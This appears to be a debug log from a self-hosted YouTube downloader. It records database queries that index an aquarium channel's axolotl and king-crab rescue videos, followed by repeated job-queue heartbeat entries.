s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.369 [debug] QUERY OK source="media_items" db=0.4ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 19:22:55Z], 32] 11:13:24.371 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "ebee7257-8929-41f8-80ad-7622babe213b", "m-EL5Fti1TM", false, "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, [], 503, false, 15, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, false, 98, ~U[2025-02-08 19:22:55Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "m-EL5Fti1TM", "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, 503, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, ~U[2025-02-08 19:22:55Z]] 11:13:24.371 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.372 [debug] QUERY OK source="media_items" db=0.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-17 19:13:49Z], 32] 11:13:24.374 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Pickle, a grocery store king crab I am keeping as a pet! #sponsored Try @YouTube Premium for 2 months free by clicking the link! youtube.com/premium?cc=aquariuminfo&utm_campaign=ytpcreator \nIndividual Premium Plan. Monthly paid subscription. Price per month varies. First 2 months free. Terms apply. Cancel anytime.\n\nIn this video, we rescue an Alaskan king crab from the grocery store and name him Pickle. He was the smallest supermarket king crab and only weighed 6lbs. I just had to save this pet and build him a dream fish tank. I recently rescued Noodle, my grocery store crab, and Mochi, my grocery store lobster, and built them Bikini Bottom and a secret bunker, so I had to do something epic for my new king crab pet, Pickle!\n\nVideo inspired by: @JustJoshingHere and @Brady Brandwood - I learned so much about rescuing a grocery store crab and a grocery store lobster from these channels! Definitely check out Leon the Lobster, Pancake and Waffle the crabs. They are super cute! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store king crab named Pickle from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him, complete with a sunken Titanic. We even explore the Titanic with an RC submarine!\n\nWatch until the end to see what Pickle thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Pickle\" so I notice you 🤴 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Grocery Store King Crab as a Pet", "06043714-9c59-49fa-b46f-3cba84874db9", "Yj-9KaNfqtE", false, "https://www.youtube.com/watch?v=Yj-9KaNfqtE", 32, [], 533, false, 16, "/downloads/shows/Aquarium Info/Season 2024/s2024e121700 - Raising a Grocery Store King Crab as a Pet.mkv", false, false, 98, ~U[2024-12-17 19:13:49Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Meet Pickle, a grocery store king crab I am keeping as a pet! #sponsored Try @YouTube Premium for 2 months free by clicking the link! youtube.com/premium?cc=aquariuminfo&utm_campaign=ytpcreator \nIndividual Premium Plan. Monthly paid subscription. Price per month varies. First 2 months free. Terms apply. Cancel anytime.\n\nIn this video, we rescue an Alaskan king crab from the grocery store and name him Pickle. He was the smallest supermarket king crab and only weighed 6lbs. I just had to save this pet and build him a dream fish tank. I recently rescued Noodle, my grocery store crab, and Mochi, my grocery store lobster, and built them Bikini Bottom and a secret bunker, so I had to do something epic for my new king crab pet, Pickle!\n\nVideo inspired by: @JustJoshingHere and @Brady Brandwood - I learned so much about rescuing a grocery store crab and a grocery store lobster from these channels! Definitely check out Leon the Lobster, Pancake and Waffle the crabs. They are super cute! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store king crab named Pickle from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him, complete with a sunken Titanic. We even explore the Titanic with an RC submarine!\n\nWatch until the end to see what Pickle thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Pickle\" so I notice you 🤴 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Grocery Store King Crab as a Pet", "Yj-9KaNfqtE", "https://www.youtube.com/watch?v=Yj-9KaNfqtE", 32, 533, false, "/downloads/shows/Aquarium Info/Season 2024/s2024e121700 - Raising a Grocery Store King Crab as a Pet.mkv", false, ~U[2024-12-17 19:13:49Z]] 11:13:24.374 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], 32] 11:13:24.375 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:13:24.375 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:13:24.376 [debug] QUERY OK source="media_items" db=0.1ms idle=3.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 11:13:24.377 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7276, 32, ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z]] 11:13:24.377 [info] {"args":{"id":32},"id":7260,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":42860040,"event":"job:stop","queue_time":329592,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:13:30.218 [info] {"source":"oban","duration":2409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.221 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.362 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:30.224 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.227 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.363 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:30.230 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.234 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.365 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:30.237 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.240 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.367 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:30.242 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.245 [info] {"source":"oban","duration":1796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.368 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:30.248 [info] {"source":"oban","duration":2350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.251 [info] {"source":"oban","duration":1960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.370 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:30.254 [info] {"source":"oban","duration":2187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.257 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.372 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:30.260 [info] {"source":"oban","duration":1982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.263 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.374 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:30.266 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.269 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.375 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:30.272 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.275 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.377 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:30.278 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.281 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.378 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:30.284 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.288 [info] {"source":"oban","duration":3317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.379 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:30.291 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.294 [info] {"source":"oban","duration":2256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.381 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:30.297 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.300 [info] {"source":"oban","duration":2267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.383 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:30.303 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.306 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.385 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:30.309 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.312 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.387 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:30.315 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.317 [info] {"source":"oban","duration":2176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.389 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:30.320 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.323 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.391 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:30.325 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.328 [info] {"source":"oban","duration":2241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.393 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:30.331 [info] {"source":"oban","duration":2230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.334 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.395 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:30.337 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.338 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.396 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:30.340 [info] {"source":"oban","duration":1993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.343 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.398 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:30.346 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.349 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.399 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:30.351 [info] {"source":"oban","duration":2157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.354 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.401 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:30.357 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.360 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.402 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:30.362 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.365 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.404 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:30.369 [info] {"source":"oban","duration":3228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.372 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.406 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:30.375 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.378 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.408 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:30.381 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.384 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.410 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:42:30.385 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.388 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.412 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:30.390 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.393 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 